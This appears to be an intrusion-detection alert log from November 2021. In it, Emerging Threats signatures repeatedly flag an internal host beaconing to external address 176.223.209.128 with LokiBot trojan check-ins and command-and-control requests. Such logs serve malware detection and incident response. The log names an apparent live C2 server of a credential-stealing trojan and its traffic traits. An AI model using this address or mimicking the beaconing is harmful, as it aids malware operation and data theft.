11/25/21-10:52:05.687914	TCP	2025381	ET TROJAN LokiBot Checkin	50307	80	192.168.11.20	176.223.209.128
11/25/21-10:52:05.687914	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50307	80	192.168.11.20	176.223.209.128
11/25/21-10:52:06.226743	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50308	80	192.168.11.20	176.223.209.128
11/25/21-10:52:06.226743	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50308	80	192.168.11.20	176.223.209.128
11/25/21-10:52:06.226743	TCP	2025381	ET TROJAN LokiBot Checkin	50308	80	192.168.11.20	176.223.209.128
11/25/21-10:52:06.226743	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50308	80	192.168.11.20	176.223.209.128
11/25/21-10:52:06.742992	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50309	80	192.168.11.20	176.223.209.128
11/25/21-10:52:06.742992	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50309	80	192.168.11.20	176.223.209.128
11/25/21-10:52:06.742992	TCP	2025381	ET TROJAN LokiBot Checkin	50309	80	192.168.11.20	176.223.209.128
11/25/21-10:52:06.742992	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50309	80	192.168.11.20	176.223.209.128
11/25/21-10:52:07.216253	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50310	80	192.168.11.20	176.223.209.128
11/25/21-10:52:07.216253	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50310	80	192.168.11.20	176.223.209.128
11/25/21-10:52:07.216253	TCP	2025381	ET TROJAN LokiBot Checkin	50310	80	192.168.11.20	176.223.209.128
11/25/21-10:52:07.216253	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50310	80	192.168.11.20	176.223.209.128
11/25/21-10:52:07.736750	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50311	80	192.168.11.20	176.223.209.128
11/25/21-10:52:07.736750	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50311	80	192.168.11.20	176.223.209.128
11/25/21-10:52:07.736750	TCP	2025381	ET TROJAN LokiBot Checkin	50311	80	192.168.11.20	176.223.209.128
11/25/21-10:52:07.736750	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50311	80	192.168.11.20	176.223.209.128
11/25/21-10:52:08.228884	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50312	80	192.168.11.20	176.223.209.128
11/25/21-10:52:08.228884	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50312	80	192.168.11.20	176.223.209.128
11/25/21-10:52:08.228884	TCP	2025381	ET TROJAN LokiBot Checkin	50312	80	192.168.11.20	176.223.209.128
11/25/21-10:52:08.228884	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50312	80	192.168.11.20	176.223.209.128
11/25/21-10:52:08.719767	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50313	80	192.168.11.20	176.223.209.128
11/25/21-10:52:08.719767	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50313	80	192.168.11.20	176.223.209.128
11/25/21-10:52:08.719767	TCP	2025381	ET TROJAN LokiBot Checkin	50313	80	192.168.11.20	176.223.209.128
11/25/21-10:52:08.719767	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50313	80	192.168.11.20	176.223.209.128
11/25/21-10:52:09.223409	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50314	80	192.168.11.20	176.223.209.128
11/25/21-10:52:09.223409	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50314	80	192.168.11.20	176.223.209.128
11/25/21-10:52:09.223409	TCP	2025381	ET TROJAN LokiBot Checkin	50314	80	192.168.11.20	176.223.209.128
11/25/21-10:52:09.223409	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50314	80	192.168.11.20	176.223.209.128
11/25/21-10:52:09.728246	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50315	80	192.168.11.20	176.223.209.128
11/25/21-10:52:09.728246	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50315	80	192.168.11.20	176.223.209.128
11/25/21-10:52:09.728246	TCP	2025381	ET TROJAN LokiBot Checkin	50315	80	192.168.11.20	176.223.209.128
11/25/21-10:52:09.728246	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50315	80	192.168.11.20	176.223.209.128
11/25/21-10:52:10.154549	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50316	80	192.168.11.20	176.223.209.128
11/25/21-10:52:10.154549	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50316	80	192.168.11.20	176.223.209.128
11/25/21-10:52:10.154549	TCP	2025381	ET TROJAN LokiBot Checkin	50316	80	192.168.11.20	176.223.209.128
11/25/21-10:52:10.154549	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50316	80	192.168.11.20	176.223.209.128
11/25/21-10:52:10.673271	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50317	80	192.168.11.20	176.223.209.128
11/25/21-10:52:10.673271	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50317	80	192.168.11.20	176.223.209.128
11/25/21-10:52:10.673271	TCP	2025381	ET TROJAN LokiBot Checkin	50317	80	192.168.11.20	176.223.209.128
11/25/21-10:52:10.673271	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50317	80	192.168.11.20	176.223.209.128
11/25/21-10:52:11.194120	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50318	80	192.168.11.20	176.223.209.128
11/25/21-10:52:11.194120	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50318	80	192.168.11.20	176.223.209.128
11/25/21-10:52:11.194120	TCP	2025381	ET TROJAN LokiBot Checkin	50318	80	192.168.11.20	176.223.209.128
11/25/21-10:52:11.194120	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50318	80	192.168.11.20	176.223.209.128
11/25/21-10:52:11.717969	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50319	80	192.168.11.20	176.223.209.128
11/25/21-10:52:11.717969	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50319	80	192.168.11.20	176.223.209.128
11/25/21-10:52:11.717969	TCP	2025381	ET TROJAN LokiBot Checkin	50319	80	192.168.11.20	176.223.209.128
11/25/21-10:52:11.717969	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50319	80	192.168.11.20	176.223.209.128
11/25/21-10:52:12.234683	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50320	80	192.168.11.20	176.223.209.128
11/25/21-10:52:12.234683	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50320	80	192.168.11.20	176.223.209.128
11/25/21-10:52:12.234683	TCP	2025381	ET TROJAN LokiBot Checkin	50320	80	192.168.11.20	176.223.209.128
11/25/21-10:52:12.234683	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50320	80	192.168.11.20	176.223.209.128
11/25/21-10:52:12.694839	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50321	80	192.168.11.20	176.223.209.128
11/25/21-10:52:12.694839	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50321	80	192.168.11.20	176.223.209.128
11/25/21-10:52:12.694839	TCP	2025381	ET TROJAN LokiBot Checkin	50321	80	192.168.11.20	176.223.209.128
11/25/21-10:52:12.694839	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50321	80	192.168.11.20	176.223.209.128
11/25/21-10:52:13.182188	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50322	80	192.168.11.20	176.223.209.128
11/25/21-10:52:13.182188	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50322	80	192.168.11.20	176.223.209.128
11/25/21-10:52:13.182188	TCP	2025381	ET TROJAN LokiBot Checkin	50322	80	192.168.11.20	176.223.209.128
11/25/21-10:52:13.182188	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50322	80	192.168.11.20	176.223.209.128
11/25/21-10:52:13.677236	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50323	80	192.168.11.20	176.223.209.128
11/25/21-10:52:13.677236	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50323	80	192.168.11.20	176.223.209.128
11/25/21-10:52:13.677236	TCP	2025381	ET TROJAN LokiBot Checkin	50323	80	192.168.11.20	176.223.209.128
11/25/21-10:52:13.677236	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50323	80	192.168.11.20	176.223.209.128
11/25/21-10:52:14.189707	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50324	80	192.168.11.20	176.223.209.128
11/25/21-10:52:14.189707	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50324	80	192.168.11.20	176.223.209.128
11/25/21-10:52:14.189707	TCP	2025381	ET TROJAN LokiBot Checkin	50324	80	192.168.11.20	176.223.209.128
11/25/21-10:52:14.189707	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50324	80	192.168.11.20	176.223.209.128
11/25/21-10:52:14.713650	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50325	80	192.168.11.20	176.223.209.128
11/25/21-10:52:14.713650	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50325	80	192.168.11.20	176.223.209.128
11/25/21-10:52:14.713650	TCP	2025381	ET TROJAN LokiBot Checkin	50325	80	192.168.11.20	176.223.209.128
11/25/21-10:52:14.713650	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50325	80	192.168.11.20	176.223.209.128
11/25/21-10:52:15.234438	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50326	80	192.168.11.20	176.223.209.128
11/25/21-10:52:15.234438	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50326	80	192.168.11.20	176.223.209.128
11/25/21-10:52:15.234438	TCP	2025381	ET TROJAN LokiBot Checkin	50326	80	192.168.11.20	176.223.209.128
11/25/21-10:52:15.234438	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50326	80	192.168.11.20	176.223.209.128
11/25/21-10:52:15.707321	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50327	80	192.168.11.20	176.223.209.128
11/25/21-10:52:15.707321	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50327	80	192.168.11.20	176.223.209.128
11/25/21-10:52:15.707321	TCP	2025381	ET TROJAN LokiBot Checkin	50327	80	192.168.11.20	176.223.209.128
11/25/21-10:52:15.707321	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50327	80	192.168.11.20	176.223.209.128
11/25/21-10:52:16.204603	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50328	80	192.168.11.20	176.223.209.128
11/25/21-10:52:16.204603	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50328	80	192.168.11.20	176.223.209.128
11/25/21-10:52:16.204603	TCP	2025381	ET TROJAN LokiBot Checkin	50328	80	192.168.11.20	176.223.209.128
11/25/21-10:52:16.204603	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50328	80	192.168.11.20	176.223.209.128
11/25/21-10:52:16.719602	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50329	80	192.168.11.20	176.223.209.128
11/25/21-10:52:16.719602	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50329	80	192.168.11.20	176.223.209.128
11/25/21-10:52:16.719602	TCP	2025381	ET TROJAN LokiBot Checkin	50329	80	192.168.11.20	176.223.209.128
11/25/21-10:52:16.719602	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50329	80	192.168.11.20	176.223.209.128
11/25/21-10:52:17.227829	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50330	80	192.168.11.20	176.223.209.128
11/25/21-10:52:17.227829	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50330	80	192.168.11.20	176.223.209.128
11/25/21-10:52:17.227829	TCP	2025381	ET TROJAN LokiBot Checkin	50330	80	192.168.11.20	176.223.209.128
11/25/21-10:52:17.227829	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50330	80	192.168.11.20	176.223.209.128
11/25/21-10:52:17.758848	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50331	80	192.168.11.20	176.223.209.128
11/25/21-10:52:17.758848	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50331	80	192.168.11.20	176.223.209.128
11/25/21-10:52:17.758848	TCP	2025381	ET TROJAN LokiBot Checkin	50331	80	192.168.11.20	176.223.209.128
11/25/21-10:52:17.758848	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50331	80	192.168.11.20	176.223.209.128
11/25/21-10:52:18.265321	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50332	80	192.168.11.20	176.223.209.128
11/25/21-10:52:18.265321	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50332	80	192.168.11.20	176.223.209.128
11/25/21-10:52:18.265321	TCP	2025381	ET TROJAN LokiBot Checkin	50332	80	192.168.11.20	176.223.209.128
11/25/21-10:52:18.265321	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50332	80	192.168.11.20	176.223.209.128
11/25/21-10:52:18.757231	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50333	80	192.168.11.20	176.223.209.128
11/25/21-10:52:18.757231	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50333	80	192.168.11.20	176.223.209.128
11/25/21-10:52:18.757231	TCP	2025381	ET TROJAN LokiBot Checkin	50333	80	192.168.11.20	176.223.209.128
11/25/21-10:52:18.757231	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50333	80	192.168.11.20	176.223.209.128
11/25/21-10:52:19.260157	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50334	80	192.168.11.20	176.223.209.128
11/25/21-10:52:19.260157	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50334	80	192.168.11.20	176.223.209.128
11/25/21-10:52:19.260157	TCP	2025381	ET TROJAN LokiBot Checkin	50334	80	192.168.11.20	176.223.209.128
11/25/21-10:52:19.260157	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50334	80	192.168.11.20	176.223.209.128
11/25/21-10:52:19.780978	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50335	80	192.168.11.20	176.223.209.128
11/25/21-10:52:19.780978	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50335	80	192.168.11.20	176.223.209.128
11/25/21-10:52:19.780978	TCP	2025381	ET TROJAN LokiBot Checkin	50335	80	192.168.11.20	176.223.209.128
11/25/21-10:52:19.780978	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50335	80	192.168.11.20	176.223.209.128
11/25/21-10:52:20.285330	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50336	80	192.168.11.20	176.223.209.128
11/25/21-10:52:20.285330	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50336	80	192.168.11.20	176.223.209.128
11/25/21-10:52:20.285330	TCP	2025381	ET TROJAN LokiBot Checkin	50336	80	192.168.11.20	176.223.209.128
11/25/21-10:52:20.285330	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50336	80	192.168.11.20	176.223.209.128
11/25/21-10:52:20.716730	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50337	80	192.168.11.20	176.223.209.128
11/25/21-10:52:20.716730	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50337	80	192.168.11.20	176.223.209.128
11/25/21-10:52:20.716730	TCP	2025381	ET TROJAN LokiBot Checkin	50337	80	192.168.11.20	176.223.209.128
11/25/21-10:52:20.716730	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50337	80	192.168.11.20	176.223.209.128
11/25/21-10:52:21.237790	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50338	80	192.168.11.20	176.223.209.128
11/25/21-10:52:21.237790	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50338	80	192.168.11.20	176.223.209.128
11/25/21-10:52:21.237790	TCP	2025381	ET TROJAN LokiBot Checkin	50338	80	192.168.11.20	176.223.209.128
11/25/21-10:52:21.237790	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50338	80	192.168.11.20	176.223.209.128
11/25/21-10:52:21.714998	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50339	80	192.168.11.20	176.223.209.128
11/25/21-10:52:21.714998	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50339	80	192.168.11.20	176.223.209.128
11/25/21-10:52:21.714998	TCP	2025381	ET TROJAN LokiBot Checkin	50339	80	192.168.11.20	176.223.209.128
11/25/21-10:52:21.714998	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50339	80	192.168.11.20	176.223.209.128
11/25/21-10:52:22.226975	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50340	80	192.168.11.20	176.223.209.128
11/25/21-10:52:22.226975	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50340	80	192.168.11.20	176.223.209.128
11/25/21-10:52:22.226975	TCP	2025381	ET TROJAN LokiBot Checkin	50340	80	192.168.11.20	176.223.209.128
11/25/21-10:52:22.226975	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50340	80	192.168.11.20	176.223.209.128
11/25/21-10:52:22.744389	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50341	80	192.168.11.20	176.223.209.128
11/25/21-10:52:22.744389	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50341	80	192.168.11.20	176.223.209.128
11/25/21-10:52:22.744389	TCP	2025381	ET TROJAN LokiBot Checkin	50341	80	192.168.11.20	176.223.209.128
11/25/21-10:52:22.744389	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50341	80	192.168.11.20	176.223.209.128
11/25/21-10:52:23.270426	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50342	80	192.168.11.20	176.223.209.128
11/25/21-10:52:23.270426	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50342	80	192.168.11.20	176.223.209.128
11/25/21-10:52:23.270426	TCP	2025381	ET TROJAN LokiBot Checkin	50342	80	192.168.11.20	176.223.209.128
11/25/21-10:52:23.270426	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50342	80	192.168.11.20	176.223.209.128
11/25/21-10:52:23.770525	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50343	80	192.168.11.20	176.223.209.128
11/25/21-10:52:23.770525	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50343	80	192.168.11.20	176.223.209.128
11/25/21-10:52:23.770525	TCP	2025381	ET TROJAN LokiBot Checkin	50343	80	192.168.11.20	176.223.209.128
11/25/21-10:52:23.770525	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50343	80	192.168.11.20	176.223.209.128
11/25/21-10:52:24.270030	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50344	80	192.168.11.20	176.223.209.128
11/25/21-10:52:24.270030	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50344	80	192.168.11.20	176.223.209.128
11/25/21-10:52:24.270030	TCP	2025381	ET TROJAN LokiBot Checkin	50344	80	192.168.11.20	176.223.209.128
11/25/21-10:52:24.270030	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50344	80	192.168.11.20	176.223.209.128
11/25/21-10:52:24.703353	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50345	80	192.168.11.20	176.223.209.128
11/25/21-10:52:24.703353	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50345	80	192.168.11.20	176.223.209.128
11/25/21-10:52:24.703353	TCP	2025381	ET TROJAN LokiBot Checkin	50345	80	192.168.11.20	176.223.209.128
11/25/21-10:52:24.703353	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50345	80	192.168.11.20	176.223.209.128
11/25/21-10:52:25.197758	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50346	80	192.168.11.20	176.223.209.128
11/25/21-10:52:25.197758	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50346	80	192.168.11.20	176.223.209.128
11/25/21-10:52:25.197758	TCP	2025381	ET TROJAN LokiBot Checkin	50346	80	192.168.11.20	176.223.209.128
11/25/21-10:52:25.197758	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50346	80	192.168.11.20	176.223.209.128
11/25/21-10:52:25.690005	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50347	80	192.168.11.20	176.223.209.128
11/25/21-10:52:25.690005	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50347	80	192.168.11.20	176.223.209.128
11/25/21-10:52:25.690005	TCP	2025381	ET TROJAN LokiBot Checkin	50347	80	192.168.11.20	176.223.209.128
11/25/21-10:52:25.690005	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50347	80	192.168.11.20	176.223.209.128
11/25/21-10:52:26.225157	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50348	80	192.168.11.20	176.223.209.128
11/25/21-10:52:26.225157	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50348	80	192.168.11.20	176.223.209.128
11/25/21-10:52:26.225157	TCP	2025381	ET TROJAN LokiBot Checkin	50348	80	192.168.11.20	176.223.209.128
11/25/21-10:52:26.225157	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50348	80	192.168.11.20	176.223.209.128
11/25/21-10:52:26.744009	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50349	80	192.168.11.20	176.223.209.128
11/25/21-10:52:26.744009	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50349	80	192.168.11.20	176.223.209.128
11/25/21-10:52:26.744009	TCP	2025381	ET TROJAN LokiBot Checkin	50349	80	192.168.11.20	176.223.209.128
11/25/21-10:52:26.744009	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50349	80	192.168.11.20	176.223.209.128
11/25/21-10:52:27.252180	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50350	80	192.168.11.20	176.223.209.128
11/25/21-10:52:27.252180	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50350	80	192.168.11.20	176.223.209.128
11/25/21-10:52:27.252180	TCP	2025381	ET TROJAN LokiBot Checkin	50350	80	192.168.11.20	176.223.209.128
11/25/21-10:52:27.252180	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50350	80	192.168.11.20	176.223.209.128
11/25/21-10:52:27.764927	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50351	80	192.168.11.20	176.223.209.128
11/25/21-10:52:27.764927	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50351	80	192.168.11.20	176.223.209.128
11/25/21-10:52:27.764927	TCP	2025381	ET TROJAN LokiBot Checkin	50351	80	192.168.11.20	176.223.209.128
11/25/21-10:52:27.764927	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50351	80	192.168.11.20	176.223.209.128
11/25/21-10:52:28.263374	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50352	80	192.168.11.20	176.223.209.128
11/25/21-10:52:28.263374	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50352	80	192.168.11.20	176.223.209.128
11/25/21-10:52:28.263374	TCP	2025381	ET TROJAN LokiBot Checkin	50352	80	192.168.11.20	176.223.209.128
11/25/21-10:52:28.263374	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50352	80	192.168.11.20	176.223.209.128
11/25/21-10:52:28.747393	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50353	80	192.168.11.20	176.223.209.128
11/25/21-10:52:28.747393	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50353	80	192.168.11.20	176.223.209.128
11/25/21-10:52:28.747393	TCP	2025381	ET TROJAN LokiBot Checkin	50353	80	192.168.11.20	176.223.209.128
11/25/21-10:52:28.747393	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50353	80	192.168.11.20	176.223.209.128
11/25/21-10:52:29.178594	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50354	80	192.168.11.20	176.223.209.128
11/25/21-10:52:29.178594	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50354	80	192.168.11.20	176.223.209.128
11/25/21-10:52:29.178594	TCP	2025381	ET TROJAN LokiBot Checkin	50354	80	192.168.11.20	176.223.209.128
11/25/21-10:52:29.178594	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50354	80	192.168.11.20	176.223.209.128
11/25/21-10:52:29.689703	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50355	80	192.168.11.20	176.223.209.128
11/25/21-10:52:29.689703	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50355	80	192.168.11.20	176.223.209.128
11/25/21-10:52:29.689703	TCP	2025381	ET TROJAN LokiBot Checkin	50355	80	192.168.11.20	176.223.209.128
11/25/21-10:52:29.689703	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50355	80	192.168.11.20	176.223.209.128
11/25/21-10:52:30.160809	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50356	80	192.168.11.20	176.223.209.128
11/25/21-10:52:30.160809	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50356	80	192.168.11.20	176.223.209.128
11/25/21-10:52:30.160809	TCP	2025381	ET TROJAN LokiBot Checkin	50356	80	192.168.11.20	176.223.209.128
11/25/21-10:52:30.160809	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50356	80	192.168.11.20	176.223.209.128
11/25/21-10:52:30.684075	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50357	80	192.168.11.20	176.223.209.128
11/25/21-10:52:30.684075	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50357	80	192.168.11.20	176.223.209.128
11/25/21-10:52:30.684075	TCP	2025381	ET TROJAN LokiBot Checkin	50357	80	192.168.11.20	176.223.209.128
11/25/21-10:52:30.684075	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50357	80	192.168.11.20	176.223.209.128
11/25/21-10:52:31.132269	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50358	80	192.168.11.20	176.223.209.128
11/25/21-10:52:31.132269	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50358	80	192.168.11.20	176.223.209.128
11/25/21-10:52:31.132269	TCP	2025381	ET TROJAN LokiBot Checkin	50358	80	192.168.11.20	176.223.209.128
11/25/21-10:52:31.132269	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50358	80	192.168.11.20	176.223.209.128
11/25/21-10:52:31.643581	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50359	80	192.168.11.20	176.223.209.128
11/25/21-10:52:31.643581	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50359	80	192.168.11.20	176.223.209.128
11/25/21-10:52:31.643581	TCP	2025381	ET TROJAN LokiBot Checkin	50359	80	192.168.11.20	176.223.209.128
11/25/21-10:52:31.643581	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50359	80	192.168.11.20	176.223.209.128
11/25/21-10:52:32.168793	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50360	80	192.168.11.20	176.223.209.128
11/25/21-10:52:32.168793	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50360	80	192.168.11.20	176.223.209.128
11/25/21-10:52:32.168793	TCP	2025381	ET TROJAN LokiBot Checkin	50360	80	192.168.11.20	176.223.209.128
11/25/21-10:52:32.168793	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50360	80	192.168.11.20	176.223.209.128
11/25/21-10:52:32.703571	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50361	80	192.168.11.20	176.223.209.128
11/25/21-10:52:32.703571	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50361	80	192.168.11.20	176.223.209.128
11/25/21-10:52:32.703571	TCP	2025381	ET TROJAN LokiBot Checkin	50361	80	192.168.11.20	176.223.209.128
11/25/21-10:52:32.703571	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50361	80	192.168.11.20	176.223.209.128
